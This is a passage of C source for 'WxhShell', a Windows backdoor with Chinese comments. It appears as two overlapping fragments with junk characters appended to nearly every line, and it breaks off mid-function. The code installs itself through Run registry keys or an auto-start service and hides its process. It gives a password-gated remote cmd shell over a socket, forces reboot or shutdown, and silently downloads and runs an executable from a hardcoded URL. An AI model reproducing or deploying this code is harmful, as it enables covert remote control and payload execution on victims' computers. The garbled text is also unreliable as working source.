    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,zLi{a6  
    if(Boot(REBOOT)) /EOtK|E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {qm(Z+wcmb  
    else { Cp_YIcnEJ  
    closesocket(wsh);  @GYM4T  
    ExitThread(0); :LL>C)(f  
    } vTD`Ja#h  
    break; ^zv28Wq>  
    } Pv`^#BX'  
  // 关机 a"{tqNc  
  case 'd': { ?hS n)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m#'2 3  
    if(Boot(SHUTDOWN)) o(. PxcD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JeJc(e  
    else { 7K`A2  
    closesocket(wsh); L44-: 3  
    ExitThread(0); a<[@p  
    } 1@H3!V4  
    break; MdWT[  
    } :CN,I!:  
  // 获取shell hIw<gb4J%  
  case 's': { qPpC)6-Q  
    CmdShell(wsh); j0k"iv  
    closesocket(wsh); >Z?3dM~[  
    ExitThread(0); AO9F.A<T5  
    break; X.,1SYG[  
  } L!-@dz  
  // 退出 tLpDIA_8  
  case 'x': { 4 ~17s`+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E#_TX3B   
    CloseIt(wsh); )#r]x1[Kn  
    break; G Cx]VN3 &  
    } o_<o8!]l"  
  // 离开 #Vanw!  
  case 'q': { v.+-)RLQg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 74%,v|  
    closesocket(wsh); aF$HF;-y  
    WSACleanup(); Z8Fbx+~"  
    exit(1); S5'BXE,  
    break; #`/KF_a3\>  
        } 5isejR{r  
  }  7[55  
  } Z-b^{uP  
77OH.E|$  
  // 提示信息 ]OHzE]Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !h2ZrT9 _  
} #zXkg[J6d  
  } vcAs!ls+  
5-}4jwk  
  return; Bya!pzbpr  
} I`2hxLwh+  
8 @!/%"Kt2  
// shell模块句柄 (?&X<=|"  
int CmdShell(SOCKET sock) u(?  
{ 8p7Uvn+m*  
STARTUPINFO si; Xi5ZQo!t  
ZeroMemory(&si,sizeof(si)); B5!$5 Qc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4)iSz>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :t]YPt  
PROCESS_INFORMATION ProcessInfo; -ny[Lh^b  
char cmdline[]="cmd"; $CO^dFf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U\y];\~H  
  return 0; [[?:,6I  
} RNiZ2:  
j%b/1@I  
// 自身启动模式 OGrVy=rd  
int StartFromService(void) [,-MC7>]  
{ gmWRw{nS+  
typedef struct )2z (l-$.  
{ VVvV]rU~  
  DWORD ExitStatus; :M1S*"&:  
  DWORD PebBaseAddress; G6Z2[Ej1  
  DWORD AffinityMask; 4_`+&  
  DWORD BasePriority; .-[UHO05^8  
  ULONG UniqueProcessId; *:3flJt  
  ULONG InheritedFromUniqueProcessId; `Bnp/9q5  
}   PROCESS_BASIC_INFORMATION; \A _g  
+is;$ 1rq  
PROCNTQSIP NtQueryInformationProcess; N>7INK  
yuk64o2QE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vj^vzFbK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ) ]U-7  
1,Uv;s;{  
  HANDLE             hProcess; x\!Qe\lE  
  PROCESS_BASIC_INFORMATION pbi; )`^t,x<S  
d$kGYMT"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s*:J=+D]G  
  if(NULL == hInst ) return 0; VLN=9  
f5Zx:g  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z![RC59 S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); BM1uZJ0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "Sc_E}q |e  
Ta%{Wa\U9z  
  if (!NtQueryInformationProcess) return 0; uE-~7Q(@  
J-A CV(z=q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Tl%#N"  
  if(!hProcess) return 0; :p(3Ap2TY  
gc7S_D~;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MMD4b}p  
fC2e}WR   
  CloseHandle(hProcess); q.t>:`  
7Xm pq&g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U/m6% )Yx(  
if(hProcess==NULL) return 0; ;c_X ^"d  
0CQ\e1S,#  
HMODULE hMod; 1Qtojph  
char procName[255]; &n6mXFF#>P  
unsigned long cbNeeded; V(A6>0s$|  
7<oLe3fbM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E:f0NV3"1  
t*< .^+Vd  
  CloseHandle(hProcess); m]+g[L?-  
Xp{+){Iu  
if(strstr(procName,"services")) return 1; // 以服务启动 ,Zb]3  
*;(LKRV  
  return 0; // 注册表启动 B[!wo  
} Z'>Xn^  
WsTbqR)W%  
// 主模块 ?7'uo$  
int StartWxhshell(LPSTR lpCmdLine) /fWVgyW> 6  
{ k;R*mg*K  
  SOCKET wsl; Ti!j  
BOOL val=TRUE; D!ToCVos  
  int port=0; /);cl;"  
  struct sockaddr_in door; f:GZb?Wyd  
dOqn0Z  
  if(wscfg.ws_autoins) Install(); "Git@%80  
DT8|2"H  
port=atoi(lpCmdLine); >0=`3X|Y7  
H ZIJKk(  
if(port<=0) port=wscfg.ws_port; 3lqR(Hh3  
V{O,O,*  
  WSADATA data; .%h.b6^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mrX3/e  
Di<KRg1W]}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l&(,$RmYp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 07DpvhDQ  
  door.sin_family = AF_INET; 8 =FP92X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KTD# a1W  
  door.sin_port = htons(port); -]~&Pi|  
#{1w#Iz;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "@RLS~Ej  
closesocket(wsl); r+217fS>  
return 1; KcglpKV`  
} t;T MD\BU  
zy~vw6vu  
  if(listen(wsl,2) == INVALID_SOCKET) { ji="vs=y  
closesocket(wsl); ~&[Wqn@MZ  
return 1; Aj#CB.y  
} d,CtlWp  
  Wxhshell(wsl); N Q_H-D\,  
  WSACleanup(); }xn\.M:ic  
"D'A7DA  
return 0; K3$83%E  
z*.4Y  
} #Sr_PEo _  
5vj;lJKcd`  
// 以NT服务方式启动  57Q^ "sl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TggM/ @k  
{ )C5<puh  
DWORD   status = 0; m:59f9WXA  
  DWORD   specificError = 0xfffffff; :D8V*F6P  
='q:Io?T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2i;G3"\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8C#R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jwgXq(  
  serviceStatus.dwWin32ExitCode     = 0; yjaX\Wb[z[  
  serviceStatus.dwServiceSpecificExitCode = 0; w?d~c*4+  
  serviceStatus.dwCheckPoint       = 0; Q>] iRx>MZ  
  serviceStatus.dwWaitHint       = 0; {1;j1|CI  
.i>; ?(GH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); acz8 H 0cS  
  if (hServiceStatusHandle==0) return; o;.PZi2k  
d>*?C!xE  
status = GetLastError(); 3,+)3,N  
  if (status!=NO_ERROR) E% t_17,=j  
{ im_WTZz2P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; MU4/arXy  
    serviceStatus.dwCheckPoint       = 0; (|I:d!>:U  
    serviceStatus.dwWaitHint       = 0; rn#FmM  
    serviceStatus.dwWin32ExitCode     = status; :3M2zV cf  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9}Ud'#E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uV!Ax *'  
    return; CvKXVhf0$J  
  } NK2Kw{c"iI  
y8'WR-;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i[/g&fx  
  serviceStatus.dwCheckPoint       = 0; yT%"<m6Y*\  
  serviceStatus.dwWaitHint       = 0; >!MOgLO3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  ^E*W B~  
} oMawIND a  
%Sr/'7 K  
// 处理NT服务事件,比如:启动、停止 I *YO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZdJwy%  
{ zV_U/]y  
switch(fdwControl) 'VcZ_m:  
{ ^I=c]D]);  
case SERVICE_CONTROL_STOP: !qsk;Vk7Z  
  serviceStatus.dwWin32ExitCode = 0; ?Y7'OlO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q(4W /y  
  serviceStatus.dwCheckPoint   = 0; swJ3_WhbdT  
  serviceStatus.dwWaitHint     = 0; \Y&*sfQ  
  { OvqCuX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CB{% ~  
  } ~s{yh-B  
  return; ^m.QW*  
case SERVICE_CONTROL_PAUSE: 3o&PVU? Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .[%em9u  
  break; 8\+kfK  
case SERVICE_CONTROL_CONTINUE: bwR_ uF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZqT?7|i  
  break; +ntrp='7O7  
case SERVICE_CONTROL_INTERROGATE: P9= L?t.  
  break; qq" &Bc>  
}; 6FNs4|(d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9 ?a-1  
} YUU|!A8x  
NWWag}  
// 标准应用程序主函数 c Q:.V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vp@%wxl!:  
{ 4A^=4"BCV  
{U1 j@pKm  
// 获取操作系统版本 >Y=HP&A<  
OsIsNt=GetOsVer(); ~SgW+sDF u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bfy `UZr  
6X2>zUHR  
  // 从命令行安装 gDE',)3Q,  
  if(strpbrk(lpCmdLine,"iI")) Install(); _Mq0QQ42  
2c`m8EaJ  
  // 下载执行文件 ?tS=rqc8oW  
if(wscfg.ws_downexe) { NBHS   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $Y.Z>I;  
  WinExec(wscfg.ws_filenam,SW_HIDE); `##qf@M  
} ~nJcHJ1nb4  
SQ!wq  
if(!OsIsNt) { ^Yz.,!B[  
// 如果时win9x,隐藏进程并且设置为注册表启动 5[l9`Cn&A  
HideProc(); 5ws|4V  
StartWxhshell(lpCmdLine); 4+%;eY.A  
} 8}9|hT;  
else #-$\f(+<  
  if(StartFromService()) d\C x(Lb[  
  // 以服务方式启动 :U)>um34e  
  StartServiceCtrlDispatcher(DispatchTable); [5K& J-W  
else $MD|YW5  
  // 普通方式启动 .J:04t1  
  StartWxhshell(lpCmdLine); kXimJL_<g  
e+jp03m\W  
return 0; 09z%y[z  
} 7|4hs:4mD  
Q WVH4rg  
;d$PQi  
*fyC@fI>  
=========================================== ^DVj_&~  
(O{5L(  
<Y~?G:v6+  
k$ k /U  
4/YEkD  
/*3[9,  
" G{$(t\>8  
:K&>  
#include <stdio.h> 62lG,y_L  
#include <string.h> mUW|4zl i}  
#include <windows.h> uim4,Zm{  
#include <winsock2.h> }YUUCq&  
#include <winsvc.h> YT7,=k_  
#include <urlmon.h> Trd/\tX#v&  
ngF5ywIG  
#pragma comment (lib, "Ws2_32.lib") RDU,yTHq  
#pragma comment (lib, "urlmon.lib") n+Ofbiz@  
L4Ep7=  
#define MAX_USER   100 // 最大客户端连接数 '@enl]J  
#define BUF_SOCK   200 // sock buffer BDoL)}bRE  
#define KEY_BUFF   255 // 输入 buffer +~, qb1aZ  
FlJ(V  
#define REBOOT     0   // 重启 t}m6];  
#define SHUTDOWN   1   // 关机 ZqKUz5M4  
*zoAD|0N  
#define DEF_PORT   5000 // 监听端口 Fx#0 :p  
)=VSERs  
#define REG_LEN     16   // 注册表键长度 K..L8#SC  
#define SVC_LEN     80   // NT服务名长度 Eq$Q%'5*ua  
R^zTgyr  
// 从dll定义API ]jo^P5\h>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bg.f';C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XE8~R5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L~e\uP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2q}M1-^  
_4qP0LCa  
// wxhshell配置信息 =Gsn4>~%n  
struct WSCFG { vqh@)B+)  
  int ws_port;         // 监听端口 r~q*E'n  
  char ws_passstr[REG_LEN]; // 口令 s+Qm/ h2  
  int ws_autoins;       // 安装标记, 1=yes 0=no Mazjn?f  
  char ws_regname[REG_LEN]; // 注册表键名 OiPE,sv  
  char ws_svcname[REG_LEN]; // 服务名 RqTW$94RD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q*wub9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "=)i'x"0"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W[S4s/)mg  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =Ny&`X#F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'G1~\CT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nLK%5C  
jxA`RSY  
}; O8BxXa@5  
:x e/7-  
// default Wxhshell configuration & sbA:xZBA  
struct WSCFG wscfg={DEF_PORT, (lv|-Phc.  
    "xuhuanlingzhe", RFF&-M]  
    1, `P;fD/I  
    "Wxhshell", i<<NKv8;  
    "Wxhshell", 4u5^I;4pL  
            "WxhShell Service", :ie7HF  
    "Wrsky Windows CmdShell Service", CD#:*  
    "Please Input Your Password: ", Y9F78=Q  
  1, Xh==F:  
  "http://www.wrsky.com/wxhshell.exe", u@d`$]/>F  
  "Wxhshell.exe" vUa~PN+Iy  
    }; 4-^LC<}k  
g Z3VT{  
// 消息定义模块 /BC(O[P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;u;YfOr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1_vaSEov  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KobNi#O+  
char *msg_ws_ext="\n\rExit."; R03V+t=  
char *msg_ws_end="\n\rQuit."; Bvx%|:R  
char *msg_ws_boot="\n\rReboot..."; >o{(f  
char *msg_ws_poff="\n\rShutdown..."; F5Ce:+h  
char *msg_ws_down="\n\rSave to "; =\s(v-8  
*yAC8\v  
char *msg_ws_err="\n\rErr!"; rg U$&O  
char *msg_ws_ok="\n\rOK!"; /'U/rjb_h{  
/7Z0|Zw]  
char ExeFile[MAX_PATH]; #5HJW[9  
int nUser = 0; 5A]IiX4Z  
HANDLE handles[MAX_USER]; Zf;1U98oC  
int OsIsNt; (:3rANY|  
|6LC>'  
SERVICE_STATUS       serviceStatus; ;w1?EdaO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ':yE5j  
Zyq h  
// 函数声明 MtOA A  
int Install(void); fd >t9.  
int Uninstall(void); = ! D<1<  
int DownloadFile(char *sURL, SOCKET wsh); H?8uy_Sc  
int Boot(int flag); Ikiv+Fq(  
void HideProc(void); k>#,1GbNZy  
int GetOsVer(void); ,lm.~%}P*  
int Wxhshell(SOCKET wsl); e#`wshtN:  
void TalkWithClient(void *cs); T 1m097  
int CmdShell(SOCKET sock); !Dp4uE:Pq  
int StartFromService(void); pKO\tkMJ  
int StartWxhshell(LPSTR lpCmdLine); vG WX=O  
PQAN,d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C`OdMM>D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TL@_m^SM  
GIQ/gM?Pv  
// 数据结构和表定义 ]dk44,EL  
SERVICE_TABLE_ENTRY DispatchTable[] = j6Acd~y\2  
{ Eugt~j3  
{wscfg.ws_svcname, NTServiceMain}, @ =x=dL(  
{NULL, NULL} s$xctIbm?,  
}; w#_xV =  
3$+|nP:U  
// 自我安装 MO)N0{.b  
int Install(void) o?uTL>Zin  
{ :pQZ)bF  
  char svExeFile[MAX_PATH]; F;yq/e#Q  
  HKEY key;  8YFfnk  
  strcpy(svExeFile,ExeFile); u#XNl":x  
Nb\4Mv`  
// 如果是win9x系统,修改注册表设为自启动 A"`6 2  
if(!OsIsNt) { h$|K vS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xin<.)!E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FCQIfJ#  
  RegCloseKey(key); w#k'RuOw5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QFIdp R.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SiHZco I  
  RegCloseKey(key); k <ds7k1m  
  return 0; R^P~iAO  
    } [0N==Ym1  
  } dix\hqZ  
} 3EB8ls2  
else { 1R9hA7y&,/  
LoUi Yf  
// 如果是NT以上系统,安装为系统服务 C)`ZI8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |mV*HdqU  
if (schSCManager!=0) OtJYr1:y_  
{ pgT{#[=>  
  SC_HANDLE schService = CreateService MdT'xYomzQ  
  ( tDFN *#(  
  schSCManager, 2Xk(3J!!'a  
  wscfg.ws_svcname, F>&Q5Kl R  
  wscfg.ws_svcdisp, Oa\!5Pw1  
  SERVICE_ALL_ACCESS, Ac<V!v71  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]hTYh^'e  
  SERVICE_AUTO_START, X<ZIeZBn  
  SERVICE_ERROR_NORMAL, )K>XLaG)  
  svExeFile, x-) D@dw<  
  NULL, ],R rk]1  
  NULL, [qlq&?"  
  NULL, mIq6\c$  
  NULL, ZN5\lon|Y  
  NULL laqKP+G  
  ); |{cdXbr  
  if (schService!=0) /ow/)\/}  
  { |//cA2@.  
  CloseServiceHandle(schService); K) $.0S9d  
  CloseServiceHandle(schSCManager); `ysPEwA|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y!GjC]/  
  strcat(svExeFile,wscfg.ws_svcname); \\ M2_mT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5gZ0a4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cqr!*  
  RegCloseKey(key); eSoOJ[&$  
  return 0; Wcn3\v6_  
    } Y&`Vs(  
  } $bh2zKB)  
  CloseServiceHandle(schSCManager); 2fTkHBhn&  
} %yJL-6U  
} {4ON2{8;4  
C,z7f"  
return 1; EaFd1  
} pm B}a7  
ja70w:ja  
// 自我卸载 MX6*waQ-<  
int Uninstall(void) +jO1?:Lr  
{ B`<(qPD  
  HKEY key; -\\}K\*MJ  
7J./SBhB  
if(!OsIsNt) { |f'U_nE#R/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o+`W  
  RegDeleteValue(key,wscfg.ws_regname); bP&o] ?dN  
  RegCloseKey(key); %l[Cm4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xZPSoxu  
  RegDeleteValue(key,wscfg.ws_regname); @no]*?Gpa  
  RegCloseKey(key); %m!o#y(hD`  
  return 0; h1G]w/.ws  
  } Y }'C'PR  
} i;*c|ma1>  
} 9c8zH{T_{  
else { *fW&-ic  
IyIh0B~i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "2+>!G RQ  
if (schSCManager!=0) PHi'&)|  
{ UtG@0(6C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v<_}Br2I[  
  if (schService!=0) j[m\;3Sp  
  { !tv3.:eT  
  if(DeleteService(schService)!=0) { << LmO-92  
  CloseServiceHandle(schService); n_AW0i .  
  CloseServiceHandle(schSCManager); Y1+4ppZ  
  return 0; ygS*))7 r  
  } $$<9tqA  
  CloseServiceHandle(schService); SG |!wH^  
  } t*zve,?}  
  CloseServiceHandle(schSCManager); ~ygiKsD6b  
} [=u8$5/a  
} Q#urx^aw  
JM -Tp!C>  
return 1; @5\OM#WT~&  
} >k*QkIyq  
u!oHP  
// 从指定url下载文件 a+)Yk8%KY  
int DownloadFile(char *sURL, SOCKET wsh) f'TjR#w  
{ sn2SDHY  
  HRESULT hr; ?`AzgM[I  
char seps[]= "/"; 2,/("lV@0  
char *token; IE: x&q`3  
char *file; G%;XJsFGp  
char myURL[MAX_PATH]; Kl{2^ q>  
char myFILE[MAX_PATH]; s2_j@k?%  
/#20`;~F)  
strcpy(myURL,sURL); 5|NM]8^^0[  
  token=strtok(myURL,seps); l Vo](#W  
  while(token!=NULL) ]o$Kh$~5  
  { 5dT-{c%w4  
    file=token; LTS3[=AB  
  token=strtok(NULL,seps); ] $$ciFM  
  } -WE pBt7*  
m@.4Wrv  
GetCurrentDirectory(MAX_PATH,myFILE); #l2wF>0  
strcat(myFILE, "\\"); f,d @*E  
strcat(myFILE, file); Sq%BfP)a(  
  send(wsh,myFILE,strlen(myFILE),0); 35) ]R`f  
send(wsh,"...",3,0); dwv xV$Nt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #p&iH9c_  
  if(hr==S_OK) 91E!4t}I  
return 0; e%`gD*8  
else VvSD &r^qI  
return 1; :RzcK>Gub=  
5ap}(bO  
} Y~dRvt0_w  
)M#~/~^f+  
// 系统电源模块 :35J<oG  
int Boot(int flag) [esjR`u  
{ ETV|;>v  
  HANDLE hToken; )K -@{v^|  
  TOKEN_PRIVILEGES tkp; /XEcA 5C<  
eg~$WB;1  
  if(OsIsNt) { vlw2dY@^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /8q7pwV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |iLeOztuE  
    tkp.PrivilegeCount = 1; i cQsA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lEQ 63)Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zu(/ c  
if(flag==REBOOT) { Ec8Y}C,{7<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7XT2d=)"  
  return 0; 8UwL%"?YB  
} `O.*qs5  
else { uh\I'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xVuGean Cv  
  return 0; j +@1frp  
} =y,_FFoS  
  } _:+W0YS  
  else { D2E~ c? V  
if(flag==REBOOT) { D`3}j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vpv PRwJ  
  return 0; aN ). G1  
} \s`'3y  
else { G2ZF`WQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %N|7<n<S  
  return 0; }%| (G[  
} yb*SD!  
} /(BQzCP9O;  
V7N8m<Tf  
return 1; {{ R/:-6?@  
} *oY59Yf  
t2BkQ8vr  
// win9x进程隐藏模块 bICi'`  
void HideProc(void) f6PXcV  
{ 64#~p)  
L,[0*h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /_xwHiA  
  if ( hKernel != NULL ) Y{1IRP?S  
  { =9i:R!,W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x/~V ZO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1oFU4+{ 4  
    FreeLibrary(hKernel); B*zb0hdo:  
  } IJD'0/R'c  
Axk p  
return; nrUrMnlg  
} |D$U{5}Mv  
Sl:Qq!  
// 获取操作系统版本 N1\u~%AT"  
int GetOsVer(void) \x(J v Dt  
{ d5T0#ue/e  
  OSVERSIONINFO winfo; |ZJ]`qmZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +VdYT6{p  
  GetVersionEx(&winfo); )Y\},O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #h /-  
  return 1; Rr^<Q:#"<|  
  else r}WV"/]p  
  return 0; 8niQG']  
} ;pU9ov4)  
x(hUQu 6  
// 客户端句柄模块 Wgq*|teW  
int Wxhshell(SOCKET wsl) tJUMLn?  
{ U/&?rY^|  
  SOCKET wsh; GTYGm  
  struct sockaddr_in client; Fw!5hR`,  
  DWORD myID; *=MC+4E  
8/-GrdyE  
  while(nUser<MAX_USER) \kzxt/Ow  
{ G( nT.\  
  int nSize=sizeof(client); LdU, 32  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); > 9JzYI^  
  if(wsh==INVALID_SOCKET) return 1; _ Eq:Qbw#  
\$VtwVQ,b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |C=^:@}ri?  
if(handles[nUser]==0) h K@1 s  
  closesocket(wsh); bRLmJt98P  
else lR{eO~'~V  
  nUser++; #| A @  
  } Y%^&aacZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =5oFutg`  
00%$?Fyk  
  return 0; 1#(,Bq4  
} 2OAh7'8<  
"%A/bv\u  
// 关闭 socket [LL"86D  
void CloseIt(SOCKET wsh) zO9$fU  
{ M_T$\z;,  
closesocket(wsh); 7w @.)@5  
nUser--; ^\e:j7@z  
ExitThread(0); j &,vju  
} '#4ya=Ww  
0"#tK4  
// 客户端请求句柄 >>(2ZJ  
void TalkWithClient(void *cs) _Y|k \|'  
{ za<Ja=f9X  
pk}*0Y-  
  SOCKET wsh=(SOCKET)cs; T d4/3k  
  char pwd[SVC_LEN]; KVtnz  
  char cmd[KEY_BUFF]; uTbI\iq  
char chr[1]; qO Zc}J0  
int i,j; AcrbR&cvG  
Mq[;:  
  while (nUser < MAX_USER) { 6[aCjW  
Ny*M{}E  
if(wscfg.ws_passstr) { %a8'6^k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C(}9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6DaH+  
  //ZeroMemory(pwd,KEY_BUFF); m1]rLeeEt  
      i=0; JI3AR e?y  
  while(i<SVC_LEN) { &ad9VB7  
.#5<ZAh/?  
  // 设置超时 M4nM%qRGQ  
  fd_set FdRead; v_{`O'#j^  
  struct timeval TimeOut; |ng[s6uf  
  FD_ZERO(&FdRead); #MHn J  
  FD_SET(wsh,&FdRead); z\_q`43U7  
  TimeOut.tv_sec=8; vFL3eu#  
  TimeOut.tv_usec=0; ,":"Op61  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  Tx/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  Ca@[]-_H  
>]T(}S~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +3s i=x\=/  
  pwd=chr[0]; :&6QKTX  
  if(chr[0]==0xd || chr[0]==0xa) { &5(|a"5+G  
  pwd=0; X[j4V<4O  
  break; gBYL.^H^l  
  } Hi,_qlc+  
  i++; D<L]'  
    } C(?>l.QGw  
;)0vxcMB  
  // 如果是非法用户,关闭 socket kQ.atr`?e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EVgn^,  
} NZ{kjAd3c  
L@CN0ezQs  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =bN[TD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zi-zg Lx  
P:(,l,}F8  
while(1) { s3g$F23  
M`BD]{tN}  
  ZeroMemory(cmd,KEY_BUFF); 6x*ImhQ.J  
HQt=.#GW  
      // 自动支持客户端 telnet标准   M (b'4  
  j=0; MukPY2[Am  
  while(j<KEY_BUFF) { Z>o;Yf[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kVkV~  
  cmd[j]=chr[0]; >5/dmHPc  
  if(chr[0]==0xa || chr[0]==0xd) { o[+1O  
